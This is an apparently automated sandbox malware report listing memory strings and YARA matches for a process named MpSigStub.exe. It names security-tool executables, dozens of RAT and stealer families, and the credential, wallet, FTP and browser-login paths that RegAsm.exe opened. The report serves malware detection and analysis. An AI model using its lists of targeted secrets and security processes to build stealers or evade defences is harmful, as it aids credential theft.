        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpBinary or memory string: k7fwsrvc.exe
        Source: MpSigStub.exe, 00000023.00000003.18304719860.0000015B1B7EB000.00000004.00000001.sdmpBinary or memory string: \avp.exe
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpBinary or memory string: KavPFW.EXE
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpBinary or memory string: MSMPENG.EXE
        Source: MpSigStub.exe, 00000023.00000003.18304719860.0000015B1B7EB000.00000004.00000001.sdmpBinary or memory string: \kav.exe
        Source: MpSigStub.exe, 00000023.00000003.18299634028.0000015B1AF1A000.00000004.00000001.sdmpBinary or memory string: lordpe.exe
        Source: MpSigStub.exe, 00000023.00000003.18293334552.0000015B1BC8E000.00000004.00000001.sdmpBinary or memory string: 0{645FF040-5081-101B-9F08-00AA002F954E}\kav32.exe
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpBinary or memory string: avkservice.exe
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpBinary or memory string: virusutilities.exe
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpBinary or memory string: McAfee.com\VSO\Mcshield.exe
        Source: MpSigStub.exe, 00000023.00000003.18286999705.0000015B0817D000.00000004.00000001.sdmpBinary or memory string: *.manifest.|!\SavService.exe
        Source: MpSigStub.exe, 00000023.00000003.18297596094.0000015B1B44F000.00000004.00000001.sdmpBinary or memory string: autoruns.exe
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpBinary or memory string: k7rtscan.exe
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpBinary or memory string: SPIDERNT.EXE
        Source: MpSigStub.exe, 00000023.00000003.18343611807.0000015B1BD13000.00000004.00000001.sdmpBinary or memory string: mcagent.exe
        Source: MpSigStub.exe, 00000023.00000003.18293045113.0000015B1BC4D000.00000004.00000001.sdmpBinary or memory string: msascui.exe
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpBinary or memory string: ICESWORD.EXE
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpBinary or memory string: avkproxy.exe
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpBinary or memory string: AyAgent.aye
        Source: MpSigStub.exe, 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmpBinary or memory string: AVGcsrvx.exe
        Source: MpSigStub.exe, 00000023.00000003.18309645507.0000015B1A404000.00000004.00000001.sdmpBinary or memory string: RC:\Program Files\Wireshark\wireshark.exe
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpBinary or memory string: AVP.EXE
        Source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmpBinary or memory string: bdss.exe
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpBinary or memory string: sbamsvc.exe
        Source: MpSigStub.exe, 00000023.00000003.18343611807.0000015B1BD13000.00000004.00000001.sdmpBinary or memory string: Vsserv.exe
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpBinary or memory string: IceSword.exe
        Source: MpSigStub.exe, 00000023.00000003.18314518681.0000015B1B7A8000.00000004.00000001.sdmpBinary or memory string: SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\360safe.exe
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpBinary or memory string: clamwin.exe
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpBinary or memory string: kvxp.kxp
        Source: MpSigStub.exe, 00000023.00000003.18311861284.0000015B1C02A000.00000004.00000001.sdmpBinary or memory string: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msascui.exe
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpBinary or memory string: fsma32.exe
        Source: MpSigStub.exe, 00000023.00000003.18295774211.0000015B1BEE1000.00000004.00000001.sdmpBinary or memory string: MSASCui.exe
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpBinary or memory string: acs.exe
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpBinary or memory string: Ravmond.exe
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpBinary or memory string: avp.exe
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpBinary or memory string: 360safe.exe
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpBinary or memory string: RavTask.exe
        Source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmpBinary or memory string: Wireshark.exe
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpBinary or memory string: 360Safe.exe
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpBinary or memory string: KAV32.exe
        Source: MpSigStub.exe, 00000023.00000003.18349339011.0000015B1A999000.00000004.00000001.sdmpBinary or memory string: c:\123.exe
        Source: MpSigStub.exe, 00000023.00000003.18295774211.0000015B1BEE1000.00000004.00000001.sdmpBinary or memory string: *.jpg.|!\SavService.exe
        Source: MpSigStub.exe, 00000023.00000003.18434111043.0000015B1AF23000.00000004.00000001.sdmpBinary or memory string: avgnt.exe
        Source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmpBinary or memory string: a2guard.exe
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpBinary or memory string: mbam.exe
        Source: MpSigStub.exe, 00000023.00000003.18297596094.0000015B1B44F000.00000004.00000001.sdmpBinary or memory string: ollydbg.exe
        Source: MpSigStub.exe, 00000023.00000003.18290355074.0000015B1AEB4000.00000004.00000001.sdmpBinary or memory string: (\avp.exe
        Source: MpSigStub.exe, 00000023.00000003.18343611807.0000015B1BD13000.00000004.00000001.sdmpBinary or memory string: FSMB32.EXE
        Source: MpSigStub.exe, 00000023.00000003.18312179621.0000015B1C06C000.00000004.00000001.sdmpBinary or memory string: Image File Execution Options\msmpeng.exeDebuggerImage File Execution Options\msascui.exe
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpBinary or memory string: avktray.exe
        Source: MpSigStub.exe, 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmpBinary or memory string: Regshot.exe
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpBinary or memory string: nod32kui.exe
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpBinary or memory string: KAVPFW.exe
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpBinary or memory string: KPFW32.EXE
        Source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmpBinary or memory string: mcshield.exe
        Source: MpSigStub.exe, 00000023.00000003.18287345828.0000015B08195000.00000004.00000001.sdmpBinary or memory string: icesword.exe
        Source: MpSigStub.exe, 00000023.00000003.18307753022.0000015B1B767000.00000004.00000001.sdmpBinary or memory string: avgui.exe
        Source: MpSigStub.exe, 00000023.00000003.18307753022.0000015B1B767000.00000004.00000001.sdmpBinary or memory string: C:\WINDOWS\123.EXE
        Source: MpSigStub.exe, 00000023.00000003.18284212320.0000015B1B935000.00000004.00000001.sdmpBinary or memory string: \App Paths\360Safe.exe
        Source: MpSigStub.exe, 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmpBinary or memory string: AVGcmgr.exe
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpBinary or memory string: fsav.exe
        Source: MpSigStub.exe, 00000023.00000003.18337818328.0000015B1BB10000.00000004.00000001.sdmpBinary or memory string: delc:\programme\"windowsdefender"\msmpeng.exe
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmp, mpam-f54ed867.exeBinary or memory string: MsMpEng.exe
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpBinary or memory string: onlinent.exe
        Source: MpSigStub.exe, 00000023.00000003.18293985930.0000015B1C0F1000.00000004.00000001.sdmpBinary or memory string: \MsMpEng.exe
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpBinary or memory string: cmdagent.exe
        Source: MpSigStub.exe, 00000023.00000003.18343611807.0000015B1BD13000.00000004.00000001.sdmpBinary or memory string: FSAV32.exe
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpBinary or memory string: avguard.exe
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpBinary or memory string: fpwin.exe
        Source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmpBinary or memory string: zlclient.exe
        Source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmpBinary or memory string: avgtray.exe
        Source: MpSigStub.exe, 00000023.00000003.18343611807.0000015B1BD13000.00000004.00000001.sdmpBinary or memory string: McShield.exe
        Source: MpSigStub.exe, 00000023.00000003.18294597236.0000015B1A5CB000.00000004.00000001.sdmpBinary or memory string: RImage File Execution Options\MSMPENG.exe
        Source: MpSigStub.exe, 00000023.00000003.18281872533.0000015B1C527000.00000004.00000001.sdmpBinary or memory string: regedit.com
        Source: MpSigStub.exe, 00000023.00000003.18343611807.0000015B1BD13000.00000004.00000001.sdmpBinary or memory string: TmPfw.exe
        Source: MpSigStub.exe, 00000023.00000003.18284892419.0000015B1AF67000.00000004.00000001.sdmpBinary or memory string: KVMonXP.kxp
        Source: MpSigStub.exe, 00000023.00000003.18293662919.0000015B1BCD0000.00000004.00000001.sdmpBinary or memory string: procexp.exe
        Source: MpSigStub.exe, 00000023.00000003.18289622866.0000015B1BD96000.00000004.00000001.sdmpBinary or memory string: %installlocation%\msmpeng.exe
        Source: MpSigStub.exe, 00000023.00000003.18286999705.0000015B0817D000.00000004.00000001.sdmpBinary or memory string: license.rtf.|!\SavService.exe
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpBinary or memory string: k7tsecurity.exe
        Source: MpSigStub.exe, 00000023.00000003.18337818328.0000015B1BB10000.00000004.00000001.sdmpBinary or memory string: /delc:\programme\"windowsdefender"\msmpeng.exe
        Source: MpSigStub.exe, 00000023.00000003.18289622866.0000015B1BD96000.00000004.00000001.sdmpBinary or memory string: Mcshield.exe
        Source: MpSigStub.exe, 00000023.00000003.18299634028.0000015B1AF1A000.00000004.00000001.sdmpBinary or memory string: regmon.exe

        Stealing of Sensitive Information:

        barindex
        Yara detected Snake KeyloggerShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Evrial StealerShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected GhostRatShow sources
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Mini RATShow sources
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bbe6ede.15.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bbe6ede.24.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bb8fa9d.13.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected KoadicShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Generic DropperShow sources
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected ISRStealerShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Vidar stealerShow sources
        Source: Yara matchFile source: 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected PredatorShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected MimikatzShow sources
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected RevengeRATShow sources
        Source: Yara matchFile source: 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected LaZagne password dumperShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Discord Token StealerShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected MailPassViewShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Parallax RATShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected AgentTeslaShow sources
        Source: Yara matchFile source: 00000008.00000002.21904007601.000000001E471000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 5916, type: MEMORYSTR
        Yara detected ValakShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected PonyShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        GuLoader behavior detectedShow sources
        Source: Initial fileSignature Results: GuLoader behavior
        Yara detected Telegram RATShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected NjratShow sources
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bbe6ede.15.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bbe6ede.24.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bb8fa9d.13.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 00000023.00000003.18293985930.0000015B1C0F1000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18293045113.0000015B1BC4D000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected BetabotShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected AveMaria stealerShow sources
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected NukespedShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Codoso GhostShow sources
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected GrowtopiaShow sources
        Source: Yara matchFile source: 00000023.00000003.18304719860.0000015B1B7EB000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected DorkbotShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Found many strings related to Crypto-Wallets (likely being stolen)Show sources
        Source: MpSigStub.exe, 00000023.00000003.18430078945.0000015B1C0AE000.00000004.00000001.sdmpString found in binary or memory: \Electrum-LTC\wallets\
        Source: MpSigStub.exe, 00000023.00000003.18430078945.0000015B1C0AE000.00000004.00000001.sdmpString found in binary or memory: \Exodus\exodus.wallet\
        Source: MpSigStub.exe, 00000023.00000003.18327508493.0000015B1B6A0000.00000004.00000001.sdmpString found in binary or memory: secondexodusrealtors.co.ke
        Source: MpSigStub.exe, 00000023.00000003.18350289745.0000015B1B712000.00000004.00000001.sdmpString found in binary or memory: PUA:Block:Ethereum
        Source: MpSigStub.exe, 00000023.00000003.18430078945.0000015B1C0AE000.00000004.00000001.sdmpString found in binary or memory: \Exodus\exodus.wallet\
        Source: MpSigStub.exe, 00000023.00000003.18289300479.0000015B1BD55000.00000004.00000001.sdmpString found in binary or memory: get_UseMachineKeyStore
        Source: MpSigStub.exe, 00000023.00000003.18430078945.0000015B1C0AE000.00000004.00000001.sdmpString found in binary or memory: \Electrum-LTC\wallets\
        Tries to steal Mail credentials (via file access)Show sources
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
        Tries to harvest and steal browser information (history, passwords, etc)Show sources
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
        Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)Show sources
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions
        Tries to harvest and steal ftp login credentialsShow sources
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000008.00000002.21904007601.000000001E471000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 5916, type: MEMORYSTR
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR

        Remote Access Functionality:

        barindex
        Yara detected Snake KeyloggerShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Evrial StealerShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected GhostRatShow sources
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Mini RATShow sources
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bbe6ede.15.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bbe6ede.24.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bb8fa9d.13.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected KoadicShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected HancitorShow sources
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected MeterpreterShow sources
        Source: Yara matchFile source: 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected ISRStealerShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Vidar stealerShow sources
        Source: Yara matchFile source: 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected PredatorShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Detected HawkEye RatShow sources
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: HawkEye_Keylogger_Keylog_Records_
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: HawkEyeKeylogger
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: HawkEyeKeylogger]
        Detected Remcos RATShow sources
        Source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: Remcos_Mutex_Inj
        Yara detected RevengeRATShow sources
        Source: Yara matchFile source: 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Metasploit PayloadShow sources
        Source: Yara matchFile source: 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp, type: MEMORY
        Yara detected Discord Token StealerShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Parallax RATShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected AgentTeslaShow sources
        Source: Yara matchFile source: 00000008.00000002.21904007601.000000001E471000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 5916, type: MEMORYSTR
        Yara detected ValakShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Detected Nanocore RatShow sources
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: NanoCore.ClientPluginHost
        Yara detected NetWire RATShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Linux EvilGnome RC5 keyShow sources
        Source: Yara matchFile source: 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected PonyShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Detected Imminent RATShow sources
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpString found in binary or memory: *\ClientPlugin\obj\Release\ClientPlugin.pdb
        Yara detected Telegram RATShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected NjratShow sources
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bbe6ede.15.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bbe6ede.24.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bb8fa9d.13.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 00000023.00000003.18293985930.0000015B1C0F1000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18293045113.0000015B1BC4D000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected BetabotShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected AveMaria stealerShow sources
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected NukespedShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Codoso GhostShow sources
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected GrowtopiaShow sources
        Source: Yara matchFile source: 00000023.00000003.18304719860.0000015B1B7EB000.00000004.00000001.sdmp, type: MEMORY
